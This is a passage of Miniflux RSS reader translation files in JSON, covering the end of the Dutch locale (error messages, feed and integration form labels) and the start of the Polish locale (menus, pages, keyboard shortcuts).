"error.settings_block_rule_fieldname_invalid": "Ongeldige blokkeerregel: regel #%d mist een geldige veldnaam (Opties: %s)",
"error.settings_block_rule_separator_required": "Ongeldige blokkeerregel: het patroon van regel #%d moet worden gescheiden door een '='",
"error.settings_block_rule_regex_required": "Ongeldige blokkeerregel: het patroon van regel #%d is niet opgegeven",
"error.settings_block_rule_invalid_regex": "Ongeldige blokkeerregel: het patroon van regel #%d is geen geldige regex",
"error.settings_keep_rule_fieldname_invalid": "Ongeldige bewaarregel: regel #%d mist een geldige veldnaam (Options: %s)",
"error.settings_keep_rule_separator_required": "Ongeldige bewaarregel: het patroon van regel #%d moet worden gescheiden door een '='",
"error.settings_keep_rule_regex_required": "Ongeldige bewaarregel: het patroon van regel #%d is niet opgegeven",
"error.settings_keep_rule_invalid_regex": "Ongeldige bewaarregel: het patroon van regel #%d is geen geldige regex",
"error.entries_per_page_invalid": "Het aantal artikelen per pagina is niet geldig.",
"error.feed_mandatory_fields": "De velden URL en categorie zijn verplicht.",
"error.feed_already_exists": "Deze feed bestaat al.",
"error.invalid_feed_url": "Ongeldige feed URL.",
"error.invalid_site_url": "Ongeldige site URL.",
"error.feed_url_not_empty": "De feed URL mag niet leeg zijn.",
"error.site_url_not_empty": "De site URL mag niet leeg zijn.",
"error.feed_title_not_empty": "De feed titel mag niet leeg zijn.",
"error.feed_category_not_found": "Deze categorie bestaat niet of behoort niet tot deze gebruiker.",
"error.feed_invalid_blocklist_rule": "De blokkeerregel is ongeldig.",
"error.feed_invalid_keeplist_rule": "De bewaarregel is ongeldig.",
"error.user_mandatory_fields": "Gebruikersnaam is verplicht",
"error.api_key_already_exists": "Deze API-sleutel bestaat al.",
"error.unable_to_create_api_key": "Kan deze API-sleutel niet aanmaken.",
"error.invalid_theme": "Ongeldig thema.",
"error.invalid_language": "Ongeldige taal.",
"error.invalid_timezone": "Ongeldige tijdzone.",
"error.invalid_entry_direction": "Ongeldige sorteervolgorde.",
"error.invalid_display_mode": "Ongeldige weergavemodus voor de webapp.",
"error.invalid_gesture_nav": "Ongeldige gebarennavigatie.",
"error.invalid_default_home_page": "Ongeldige startpagina!",
"form.feed.label.title": "Titel",
"form.feed.label.site_url": "Website URL",
"form.feed.label.feed_url": "Feed URL",
"form.feed.label.description": "Omschrijving",
"form.feed.label.category": "Categorie",
"form.feed.label.crawler": "Download originele inhoud",
"form.feed.label.feed_username": "Feed gebruikersnaam",
"form.feed.label.feed_password": "Feed wachtwoord",
"form.feed.label.user_agent": "Standaard User-agent overschrijven",
"form.feed.label.cookie": "Cookies instellen",
"form.feed.label.scraper_rules": "Extractieregels",
"form.feed.label.rewrite_rules": "Herschrijfregels",
"form.feed.label.blocklist_rules": "Blokkeerregels",
"form.feed.label.keeplist_rules": "Bewaarregels",
"form.feed.label.urlrewrite_rules": "Herschrijfregels voor URL's",
"form.feed.label.apprise_service_urls": "Door komma's gescheiden lijst van Apprise service URL's",
"form.feed.label.ignore_http_cache": "Negeer HTTP-cache",
"form.feed.label.allow_self_signed_certificates": "Zelfondertekende of ongeldige certificaten toestaan",
"form.feed.label.disable_http2": "HTTP/2 uitschakelen om fingerprinting te voorkomen",
"form.feed.label.fetch_via_proxy": "Ophalen via proxy",
"form.feed.label.disabled": "Deze feed niet vernieuwen",
"form.feed.label.no_media_player": "Geen mediaspeler (audio/video)",
"form.feed.label.hide_globally": "Verberg artikelen in de globale ongelezen lijst",
"form.feed.label.ntfy_activate": "Artikelen naar ntfy sturen",
"form.feed.label.ntfy_priority": "Ntfy prioriteit",
"form.feed.label.ntfy_max_priority": "Ntfy maximale prioriteit",
"form.feed.label.ntfy_high_priority": "Ntfy hoge prioriteit",
"form.feed.label.ntfy_default_priority": "Ntfy standaard prioriteit",
"form.feed.label.ntfy_low_priority": "Ntfy lage prioriteit",
"form.feed.label.ntfy_min_priority": "Ntfy minimale prioriteit",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "Algemeen",
"form.feed.fieldset.rules": "Regels",
"form.feed.fieldset.network_settings": "Netwerk Instellingen",
"form.feed.fieldset.integration": "Diensten van derden",
"form.category.label.title": "Titel",
"form.category.hide_globally": "Verberg artikelen in de globale ongelezen lijst",
"form.user.label.username": "Gebruikersnaam",
"form.user.label.password": "Wachtwoord",
"form.user.label.confirmation": "Bevestig wachtwoord",
"form.user.label.admin": "Beheerder",
"form.prefs.label.language": "Taal",
"form.prefs.label.timezone": "Tijdzone",
"form.prefs.label.theme": "Thema",
"form.prefs.label.entry_sorting": "Volgorde van artikelen",
"form.prefs.label.entries_per_page": "Artikelen per pagina",
"form.prefs.label.default_reading_speed": "Leessnelheid voor andere talen (woorden per minuut)",
"form.prefs.label.cjk_reading_speed": "Leessnelheid voor Chinees, Koreaans en Japans (tekens per minuut)",
"form.prefs.label.display_mode": "Weergavemodus Progressive Web App (PWA).",
"form.prefs.select.older_first": "Oudere artikelen eerst",
"form.prefs.select.recent_first": "Recente artikelen eerst",
"form.prefs.select.fullscreen": "Volledig scherm",
"form.prefs.select.standalone": "Standalone",
"form.prefs.select.minimal_ui": "Minimaal",
"form.prefs.select.browser": "Browser",
"form.prefs.select.publish_time": "Tijdstip van publiceren artikel",
"form.prefs.select.created_time": "Tijdstip van aanmaken artikel",
"form.prefs.select.alphabetical": "Alfabetisch",
"form.prefs.select.unread_count": "Aantal ongelezen artikelen",
"form.prefs.select.none": "Geen",
"form.prefs.select.tap": "Dubbeltik",
"form.prefs.select.swipe": "Vegen",
"form.prefs.label.keyboard_shortcuts": "Sneltoetsen inschakelen",
"form.prefs.label.entry_swipe": "Vegen tussen artikelen inschakelen op aanraakschermen",
"form.prefs.label.gesture_nav": "Gebaar om tussen artikelen te navigeren",
"form.prefs.label.show_reading_time": "Toon geschatte leestijd van artikelen",
"form.prefs.label.custom_css": "Aangepaste CSS",
"form.prefs.label.custom_js": "Aangepaste JavaScript",
"form.prefs.label.entry_order": "Artikelen sorteren",
"form.prefs.label.default_home_page": "Startpagina",
"form.prefs.label.categories_sorting_order": "Volgorde categorieën",
"form.prefs.label.mark_read_on_view": "Markeer artikelen automatisch als gelezen wanneer ze worden bekeken",
"form.prefs.label.mark_read_on_view_or_media_completion": "Markeer artikelen als gelezen wanneer ze worden bekeken. Voor audio/video, markeer als gelezen bij 90%% voltooiing",
"form.prefs.label.mark_read_on_media_completion": "Markeer artikelen alleen als gelezen wanneer het afspelen van audio/video 90%% heeft bereikt",
"form.prefs.label.mark_read_manually": "Markeer artikelen handmatig als gelezen",
"form.prefs.fieldset.application_settings": "Applicatie Instellingen",
"form.prefs.fieldset.authentication_settings": "Authenticatie Instellingen",
"form.prefs.fieldset.reader_settings": "Lees Instellingen",
"form.prefs.fieldset.global_feed_settings": "Globale Feed Instellingen",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "OPML-bestand",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Artikelen opslaan in Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "Activeer Fever API",
"form.integration.fever_username": "Fever gebruikersnaam",
"form.integration.fever_password": "Fever wachtwoord",
"form.integration.fever_endpoint": "Fever URL:",
"form.integration.googlereader_activate": "Activeer Google Reader API",
"form.integration.googlereader_username": "Google Reader gebruikersnaam",
"form.integration.googlereader_password": "Google Reader wachtwoord",
"form.integration.googlereader_endpoint": "Google Reader API-endpoint:",
"form.integration.pinboard_activate": "Artikelen opslaan in Pinboard",
"form.integration.pinboard_token": "Pinboard API token",
"form.integration.pinboard_tags": "Pinboard tags",
"form.integration.pinboard_bookmark": "Markeer favoriet als ongelezen",
"form.integration.instapaper_activate": "Artikelen opslaan in Instapaper",
"form.integration.instapaper_username": "Instapaper gebruikersnaam",
"form.integration.instapaper_password": "Instapaper wachtwoord",
"form.integration.pocket_activate": "Artikelen opslaan in Pocket",
"form.integration.pocket_consumer_key": "Pocket Consumer Key",
"form.integration.pocket_access_token": "Pocket Access Token",
"form.integration.pocket_connect_link": "Verbind je Pocket-account",
"form.integration.wallabag_activate": "Artikelen opslaan in Wallabag",
"form.integration.wallabag_only_url": "Alleen URL verzenden (in plaats van volledige inhoud)",
"form.integration.wallabag_endpoint": "Wallabag basis-URL",
"form.integration.wallabag_client_id": "Wallabag Client-ID",
"form.integration.wallabag_client_secret": "Wallabag Client-Secret",
"form.integration.wallabag_username": "Wallabag gebruikersnaam",
"form.integration.wallabag_password": "Wallabag wachtwoord",
"form.integration.notion_activate": "Artikelen opslaan in Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Artikelen opslaan in Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Door komma's gescheiden lijst van Apprise service URL's",
"form.integration.nunux_keeper_activate": "Artikelen opslaan in Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Nunux Keeper URL",
"form.integration.nunux_keeper_api_key": "Nunux Keeper API-sleutel",
"form.integration.omnivore_activate": "Artikelen opslaan in Omnivore",
"form.integration.omnivore_url": "Omnivore URL",
"form.integration.omnivore_api_key": "Omnivore API-sleutel",
"form.integration.espial_activate": "Artikelen opslaan in Espial",
"form.integration.espial_endpoint": "Espial URL",
"form.integration.espial_api_key": "Espial API-sleutel",
"form.integration.espial_tags": "Espial tags",
"form.integration.readwise_activate": "Artikelen opslaan in Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Readwise Access Token ophalen",
"form.integration.telegram_bot_activate": "Stuur nieuwe artikelen naar Telegram",
"form.integration.telegram_bot_token": "Bot token",
"form.integration.telegram_chat_id": "Chat ID",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Webpaginavoorbeeld uitschakelen",
"form.integration.telegram_bot_disable_notification": "Notificatie uitschakelen",
"form.integration.telegram_bot_disable_buttons": "Knoppen uitschakelen",
"form.integration.linkace_activate": "Artikelen opslaan in LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API-sleutel",
"form.integration.linkace_tags": "LinkAce tags",
"form.integration.linkace_is_private": "Koppeling als privé markeren",
"form.integration.linkace_check_disabled": "Koppelingcontrole uitschakelen",
"form.integration.linkding_activate": "Artikelen opslaan in Linkding",
"form.integration.linkding_endpoint": "Linkding URL",
"form.integration.linkding_api_key": "Linkding API-sleutel",
"form.integration.linkding_tags": "Linkding tags",
"form.integration.linkding_bookmark": "Markeer favoriet als ongelezen",
"form.integration.linkwarden_activate": "Artikelen opslaan in Linkwarden",
"form.integration.linkwarden_endpoint": "Linkwarden URL",
"form.integration.linkwarden_api_key": "Linkwarden API-sleutel",
"form.integration.matrix_bot_activate": "Nieuwe artikelen opslaan in Matrix",
"form.integration.matrix_bot_user": "Matrix gebruikersnaam",
"form.integration.matrix_bot_password": "Wachtwoord voor Matrix-gebruiker",
"form.integration.matrix_bot_url": "URL van de Matrix-server",
"form.integration.matrix_bot_chat_id": "ID van Matrix-kamer",
"form.integration.raindrop_activate": "Artikelen opslaan in Raindrop",
"form.integration.raindrop_token": "Raindrop Token",
"form.integration.raindrop_collection_id": "Collectie ID",
"form.integration.raindrop_tags": "Tags (commagescheiden)",
"form.integration.readeck_activate": "Artikelen opslaan in Readeck",
"form.integration.readeck_endpoint": "Readeck URL",
"form.integration.readeck_api_key": "Readeck API-sleutel",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "Alleen URL verzenden (in plaats van volledige inhoud)",
"form.integration.shiori_activate": "Artikelen opslaan in Shiori",
"form.integration.shiori_endpoint": "Shiori URL",
"form.integration.shiori_username": "Shiori gebruikersnaam",
"form.integration.shiori_password": "Shiori wachtwoord",
"form.integration.shaarli_activate": "Artikelen opslaan in Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Webhook activeren",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Controleer RSS-Bridge bij het toevoegen van abonnementen",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Stuur artikelen naar ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optioneel, standaard is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optioneel)",
"form.integration.ntfy_username": "Ntfy gebruikersnaam (optioneel)",
"form.integration.ntfy_password": "Ntfy wachtwoord (optioneel)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optioneel)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Artikelen opslaan in Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "API-sleutel omschrijving",
"form.submit.loading": "Laden...",
"form.submit.saving": "Opslaan...",
"time_elapsed.not_yet": "nog niet",
"time_elapsed.yesterday": "gisteren",
"time_elapsed.now": "minder dan een minuut geleden",
"time_elapsed.minutes": [
"%d minuut geleden",
"%d minuten geleden"
],
"time_elapsed.hours": [
"%d uur geleden",
"%d uur geleden"
],
"time_elapsed.days": [
"%d dag geleden",
"%d dagen geleden"
],
"time_elapsed.weeks": [
"%d week geleden",
"%d weken geleden"
],
"time_elapsed.months": [
"%d maand geleden",
"%d maanden geleden"
],
"time_elapsed.years": [
"%d jaar geleden",
"%d jaar geleden"
],
"alert.too_many_feeds_refresh": [
"Je hebt te veel feed-vernieuwingen getriggered. Wacht aub %d minuut voor opnieuw proberen.",
"Je hebt te veel feed-vernieuwingen getriggered. Wacht aub %d minuten voor opnieuw proberen."
],
"alert.background_feed_refresh": "Alle feeds worden op de achtergrond vernieuwd. Je kunt Miniflux blijven gebruiker terwijl dit proces draait.",
"error.http_response_too_large": "De HTTP-respons is te groot. Je kunt de limiet voor de HTTP-responsgrootte verhogen in de globale instellingen (server herstart noodzakelijk)",
"error.http_body_read": "Kan de HTTP-body niet lezen: %v.",
"error.http_empty_response_body": "De HTTP-respons body is leeg.",
"error.http_empty_response": "De HTTP-respons is leeg. Misschien gebruikt deze website een botbeveiligingsmechanisme?",
"error.tls_error": "TLS fout: %q. Als je wilt, kun je TLS-verificatie uitschakelen in de feed-instellingen.",
"error.network_operation": "Miniflux kan deze website niet bereiken vanwege een netwerkfout: %v.",
"error.network_timeout": "Deze website is te traag en de aanvraag gaf timeout: %v",
"error.http_client_error": "HTTP-client-fout: %v.",
"error.http_not_authorized": "Toegang tot deze website is niet geautoriseerd. Het kan een foute gebruikersnaam of wachtwoord zijn.",
"error.http_too_many_requests": "Miniflux heeft te veel aanvragen gegenereerd voor deze website. Probeer het later nog eens of wijzig de applicatieconfiguratie.",
"error.http_forbidden": "Toegang tot deze website is verboden. Misschien heeft deze website een botbeveiligingsmechanisme?",
"error.http_resource_not_found": "De gevraagde bron is niet gevonden. Controleer de URL.",
"error.http_internal_server_error": "De website is momenteel niet beschikbaar vanwege een interne-server-fout. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.",
"error.http_bad_gateway": "De website is momenteel niet beschikbaar vanwege een slechte-gateway-fout. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.",
"error.http_service_unavailable": "De website is momenteel niet beschikbaar vanwege een interne-server-fout. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.",
"error.http_gateway_timeout": "De website is momenteel niet beschikbaar vanwege een timeout bij de gateway. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.",
"error.http_unexpected_status_code": "De website is momenteel niet beschikbaar vanwege een onverwachte HTTP-statuscode: %d. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.",
"error.database_error": "Database fout: %v.",
"error.category_not_found": "Deze categorie bestaat niet of hoort niet bij deze gebruiker.",
"error.duplicated_feed": "Deze feed bestaat al.",
"error.unable_to_parse_feed": "Kan deze feed niet verwerken: %v.",
"error.feed_not_found": "Deze feed bestaat niet of is niet van deze gebruiker.",
"error.unable_to_detect_rssbridge": "Kan feed niet detecteren met RSS-Bridge: %v.",
"error.feed_format_not_detected": "Feed-formaat kan niet worden gedetecteerd: %v.",
"form.prefs.label.media_playback_rate": "Afspeelsnelheid van de audio/video",
"error.settings_media_playback_rate_range": "Afspeelsnelheid is buiten bereik",
"enclosure_media_controls.seek" : "Vooruit/terug:",
"enclosure_media_controls.seek.title" : " Vooruit/terug met %s seconden",
"enclosure_media_controls.speed" : "Snelheid:",
"enclosure_media_controls.speed.faster" : "Versnel",
"enclosure_media_controls.speed.faster.title" : "Versnel met %sx",
"enclosure_media_controls.speed.slower" : "Vertraag",
"enclosure_media_controls.speed.slower.title" : "Vertraag met %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset snelheid naar 1x"
}
v2-2.2.5/internal/locale/translations/pl_PL.json 0000664 0000000 0000000 00000111225 14743520056 0021554 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Przejdź do treści",
"confirm.question": "Czy na pewno?",
"confirm.question.refresh": "Czy na pewno chcesz wymusić odświeżenie?",
"confirm.yes": "tak",
"confirm.no": "nie",
"confirm.loading": "W toku…",
"action.subscribe": "Subskrypcja",
"action.save": "Zapisz",
"action.or": "lub",
"action.cancel": "anuluj",
"action.remove": "Usuń",
"action.remove_feed": "Usuń ten kanał",
"action.update": "Zaktualizuj",
"action.edit": "Edytuj",
"action.download": "Pobierz",
"action.import": "Importuj",
"action.login": "Zaloguj się",
"action.home_screen": "Dodaj do ekranu głównego",
"tooltip.keyboard_shortcuts": "Skróty klawiszowe: %s",
"tooltip.logged_user": "Zalogowany jako %s",
"menu.title": "Menu",
"menu.home_page": "Strona główna",
"menu.unread": "Nieprzeczytane",
"menu.starred": "Ulubione",
"menu.history": "Historia",
"menu.feeds": "Kanały",
"menu.categories": "Kategorie",
"menu.settings": "Ustawienia",
"menu.logout": "Wyloguj się",
"menu.preferences": "Preferencje",
"menu.integrations": "Usługi",
"menu.sessions": "Sesje",
"menu.users": "Użytkownicy",
"menu.about": "O czytniku",
"menu.export": "Eksportuj",
"menu.import": "Importuj",
"menu.search": "Szukaj",
"menu.create_category": "Utwórz kategorię",
"menu.mark_page_as_read": "Oznacz jako przeczytane",
"menu.mark_all_as_read": "Oznacz wszystkie jako przeczytane",
"menu.show_all_entries": "Pokaż wszystkie wpisy",
"menu.show_only_unread_entries": "Pokaż tylko nieprzeczytane wpisy",
"menu.show_only_starred_entries": "Pokaż tylko ulubione wpisy",
"menu.refresh_feed": "Odśwież",
"menu.refresh_all_feeds": "Odśwież w tle wszystkie subskrypcje",
"menu.edit_feed": "Edytuj",
"menu.edit_category": "Edytuj",
"menu.add_feed": "Dodaj kanał",
"menu.add_user": "Dodaj użytkownika",
"menu.flush_history": "Usuń historię",
"menu.feed_entries": "Wpisy",
"menu.api_keys": "Klucze API",
"menu.create_api_key": "Utwórz nowy klucz API",
"menu.shared_entries": "Udostępnione wpisy",
"search.label": "Szukaj",
"search.placeholder": "Szukaj…",
"search.submit": "Szukaj",
"pagination.last": "Ostatnia",
"pagination.next": "Następna",
"pagination.first": "Pierwsza",
"pagination.previous": "Poprzednia",
"entry.status.unread": "Nieprzeczytany",
"entry.status.read": "Przeczytany",
"entry.status.toast.unread": "Oznaczono jako nieprzeczytany",
"entry.status.toast.read": "Oznaczono jako przeczytany",
"entry.status.title": "Zmień status wpisu",
"entry.bookmark.toggle.on": "Dodaj do ulubionych",
"entry.bookmark.toggle.off": "Usuń z ulubionych",
"entry.bookmark.toast.on": "Dodano do ulubionych",
"entry.bookmark.toast.off": "Usunięto z ulubionych",
"entry.state.saving": "Zapisywanie…",
"entry.state.loading": "Ładowanie…",
"entry.save.label": "Zapisz",
"entry.save.title": "Zapisz ten wpis",
"entry.save.completed": "Gotowe!",
"entry.save.toast.completed": "Zapisano wpis",
"entry.scraper.label": "Pobierz treść",
"entry.scraper.title": "Pobierz oryginalną treść",
"entry.scraper.completed": "Gotowe!",
"entry.external_link.label": "Łącze zewnętrzne",
"entry.comments.label": "Komentarze",
"entry.comments.title": "Zobacz komentarze",
"entry.share.label": "Udostępnij",
"entry.share.title": "Udostępnij ten wpis",
"entry.unshare.label": "Cofnij udostępnianie",
"entry.shared_entry.title": "Otwórz publiczne łącze",
"entry.shared_entry.label": "Udostępnij",
"entry.estimated_reading_time": [
"%d minuta czytania",
"%d minuty czytania",
"%d minut czytania"
],
"entry.tags.label": "Znaczniki:",
"page.shared_entries.title": "Udostępnione wpisy",
"page.shared_entries_count": [
"%d udostępniony wpis",
"%d udostępnione wpisy",
"%d udostępnionych wpisów"
],
"page.unread.title": "Nieprzeczytane",
"page.unread_entry_count": [
"%d nieprzeczytany wpis",
"%d nieprzeczytane wpisy",
"%d nieprzeczytanych wpisów"
],
"page.total_entry_count": [
"%d wpis łącznie",
"%d wpisy łącznie",
"%d wpisów łącznie"
],
"page.starred.title": "Ulubione",
"page.starred_entry_count": [
"%d ulubiony wpis",
"%d ulubione wpisy",
"%d ulubionych wpisów"
],
"page.categories.title": "Kategorie",
"page.categories.no_feed": "Brak kanałów.",
"page.categories.entries": "Wpisy",
"page.categories.feeds": "Kanały",
"page.categories.feed_count": [
"Jest %d kanał.",
"Są %d kanały.",
"Jest %d kanałów."
],
"page.categories_count": [
"%d kategoria",
"%d kategorie",
"%d kategorii"
],
"page.new_category.title": "Nowa kategoria",
"page.new_user.title": "Nowy użytkownik",
"page.edit_category.title": "Edytuj kategorię: %s",
"page.edit_user.title": "Edytuj użytkownika: %s",
"page.feeds.title": "Kanały",
"page.category_label": "Kategoria: %s",
"page.feeds.last_check": "Ostatnia aktualizacja:",
"page.feeds.next_check": "Następna aktualizacja:",
"page.feeds.read_counter": "Liczba przeczytanych wpisów",
"page.feeds.error_count": [
"%d błąd",
"%d błędy",
"%d błędów"
],
"page.history.title": "Historia",
"page.read_entry_count": [
"%d przeczytany wpis",
"%d przeczytane wpisy",
"%d przeczytanych wpisów"
],
"page.import.title": "Importuj",
"page.search.title": "Wyniki wyszukiwania",
"page.about.title": "O stronie",
"page.about.credits": "Prawa autorskie",
"page.about.version": "Wersja:",
"page.about.build_date": "Data opracowania:",
"page.about.author": "Autor:",
"page.about.license": "Licencja:",
"page.about.postgres_version": "Wersja PostgreSQL:",
"page.about.go_version": "Wersja Go:",
"page.about.global_config_options": "Globalne opcje konfiguracji",
"page.add_feed.title": "Nowa subskrypcja",
"page.add_feed.no_category": "Nie ma żadnej kategorii. Musisz mieć co najmniej jedną kategorię.",
"page.add_feed.label.url": "Adres URL",
"page.add_feed.submit": "Znajdź subskrypcję",
"page.add_feed.legend.advanced_options": "Opcje zaawansowane",
"page.add_feed.choose_feed": "Wybierz subskrypcję",
"page.edit_feed.title": "Edytuj kanał: %s",
"page.edit_feed.last_check": "Ostatnia aktualizacja:",
"page.edit_feed.last_modified_header": "Ostatnio zmienione:",
"page.edit_feed.etag_header": "Nagłówek ETag:",
"page.edit_feed.no_header": "Brak",
"page.edit_feed.last_parsing_error": "Ostatni błąd analizy",
"page.entry.attachments": "Załączniki",
"page.keyboard_shortcuts.title": "Skróty klawiszowe",
"page.keyboard_shortcuts.subtitle.sections": "Nawigacja między punktami menu",
"page.keyboard_shortcuts.subtitle.items": "Nawigacja między elementami",
"page.keyboard_shortcuts.subtitle.pages": "Nawigacja między stronami",
"page.keyboard_shortcuts.subtitle.actions": "Działania",
"page.keyboard_shortcuts.go_to_unread": "Przejdź do nieprzeczytanych",
"page.keyboard_shortcuts.go_to_starred": "Przejdź do ulubionych",
"page.keyboard_shortcuts.go_to_history": "Przejdź do historii",
"page.keyboard_shortcuts.go_to_feeds": "Przejdź do kanałów",
"page.keyboard_shortcuts.go_to_categories": "Przejdź do kategorii",
"page.keyboard_shortcuts.go_to_settings": "Przejdź do ustawień",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Pokaż listę skrótów klawiszowych",
"page.keyboard_shortcuts.go_to_previous_item": "Przejdź do poprzedniego elementu",
"page.keyboard_shortcuts.go_to_next_item": "Przejdź do następnego elementu",
"page.keyboard_shortcuts.go_to_feed": "Przejdź do subskrypcji",
"page.keyboard_shortcuts.go_to_previous_page": "Przejdź do poprzedniej strony",
"page.keyboard_shortcuts.go_to_next_page": "Przejdź do następnej strony",
"page.keyboard_shortcuts.go_to_bottom_item": "Przejdź do dolnego elementu",
"page.keyboard_shortcuts.go_to_top_item": "Przejdź do górnego elementu",
"page.keyboard_shortcuts.open_item": "Otwórz zaznaczony element",
"page.keyboard_shortcuts.open_original": "Otwórz oryginalne łącze",
"page.keyboard_shortcuts.open_original_same_window": "Otwórz oryginalne łącze w bieżącej karcie",
"page.keyboard_shortcuts.open_comments": "Otwórz łącze do komentarzy",
"page.keyboard_shortcuts.open_comments_same_window": "Otwórz łącze do komentarzy w bieżącej karcie",
"page.keyboard_shortcuts.toggle_read_status_next": "Przełącz przeczytane/nieprzeczytane, przejdź dalej",
"page.keyboard_shortcuts.toggle_read_status_prev": "Przełącz przeczytane/nieprzeczytane, przejdź wstecz",
"page.keyboard_shortcuts.refresh_all_feeds": "Odśwież w tle wszystkie kanały",
"page.keyboard_shortcuts.mark_page_as_read": "Zaznacz aktualną stronę jako przeczytaną",
"page.keyboard_shortcuts.download_content": "Pobierz oryginalną treść",
"page.keyboard_shortcuts.toggle_bookmark_status": "Przełącz dodanie do ulubionych",
"page.keyboard_shortcuts.save_article": "Zapisz wpis",
"page.keyboard_shortcuts.scroll_item_to_top": "Przewiń element do góry",
"page.keyboard_shortcuts.remove_feed": "Usuń ten kanał",
"page.keyboard_shortcuts.go_to_search": "Ustaw fokus na formularzu wyszukiwania",
"page.keyboard_shortcuts.toggle_entry_attachments": "Przełącz otwieranie/zamykanie załączników wpisów",
"page.keyboard_shortcuts.close_modal": "Zamknij listę skrótów klawiszowych",
"page.users.title": "Użytkownicy",
"page.users.username": "Nazwa użytkownika",
"page.users.never_logged": "Nigdy",
"page.users.admin.yes": "Tak",
"page.users.admin.no": "Nie",
"page.users.actions": "Działania",
"page.users.last_login": "Ostatnie logowanie",
"page.users.is_admin": "Administrator",
"page.settings.title": "Ustawienia",
"page.settings.link_google_account": "Połącz z moim kontem Google",
"page.settings.unlink_google_account": "Odłącz moje konto Google",
"page.settings.link_oidc_account": "Połącz z moim kontem %s",
"page.settings.unlink_oidc_account": "Odłącz moje konto %s",
"page.settings.webauthn.passkeys": "Klucze dostępu",
"page.settings.webauthn.actions": "Działania",
"page.settings.webauthn.passkey_name": "Nazwa klucza dostępu",
"page.settings.webauthn.added_on": "Dodano",
"page.settings.webauthn.last_seen_on": "Ostatnio użyte",
"page.settings.webauthn.register": "Zarejestruj klucz dostępu",
"page.settings.webauthn.register.error": "Nie można zarejestrować klucza dostępu",
"page.login.webauthn_login.help": "Wpisz swoją nazwę użytkownika, jeśli używasz klucza bezpieczeństwa. Nie jest to wymagane, jeśli używasz klucza dostępu (wykrywalnych danych uwierzytelniających).",
"page.settings.webauthn.delete": [
"Usuń %d klucz dostępu",
"Usuń %d klucze dostępu",
"Usuń %d kluczy dostępu"
],
"page.login.title": "Zaloguj się",
"page.login.google_signin": "Zaloguj się przez Google",
"page.login.oidc_signin": "Zaloguj się przez %s",
"page.login.webauthn_login": "Zaloguj się przez klucz dostępu",
"page.login.webauthn_login.error": "Nie można zalogować się za pomocą klucza dostępu",
"page.integrations.title": "Usługi",
"page.integration.miniflux_api": "API Miniflux",
"page.integration.miniflux_api_endpoint": "Punkt końcowy API",
"page.integration.miniflux_api_username": "Nazwa użytkownika",
"page.integration.miniflux_api_password": "Hasło",
"page.integration.miniflux_api_password_value": "Hasło do konta",
"page.integration.bookmarklet": "Skryptozakładka",
"page.integration.bookmarklet.name": "Dodaj do Miniflux",
"page.integration.bookmarklet.instructions": "Przeciągnij i upuść to łącze do zakładek.",
"page.integration.bookmarklet.help": "To łącze umożliwia subskrypcję strony internetowej bezpośrednio za pomocą zakładki w przeglądarce internetowej.",
"page.sessions.title": "Sesje",
"page.sessions.table.date": "Data",
"page.sessions.table.ip": "Adres IP",
"page.sessions.table.user_agent": "Agent użytkownika",
"page.sessions.table.actions": "Działania",
"page.sessions.table.current_session": "Bieżąca sesja",
"page.api_keys.title": "Klucze API",
"page.api_keys.table.description": "Opis",
"page.api_keys.table.token": "Token",
"page.api_keys.table.last_used_at": "Ostatnio używane",
"page.api_keys.table.created_at": "Data utworzenia",
"page.api_keys.table.actions": "Działania",
"page.api_keys.never_used": "Nigdy nie używany",
"page.new_api_key.title": "Nowy klucz API",
"page.offline.title": "Tryb offline",
"page.offline.message": "Jesteś odłączony od sieci",
"page.offline.refresh_page": "Spróbuj odświeżyć stronę",
"page.webauthn_rename.title": "Zmień nazwę klucza dostępu",
"alert.no_shared_entry": "Brak udostępnionego wpisu.",
"alert.no_bookmark": "Brak ulubionych w tej chwili.",
"alert.no_category": "Brak kategorii!",
"alert.no_category_entry": "Brak wpisów w tej kategorii",
"alert.no_tag_entry": "Brak wpisów pasujących do tego znacznika.",
"alert.no_feed_entry": "Brak wpisów tego kanału.",
"alert.no_feed": "Nie masz żadnej subskrypcji.",
"alert.no_feed_in_category": "Nie ma subskrypcji tej kategorii.",
"alert.no_history": "Obecnie nie ma żadnej historii.",
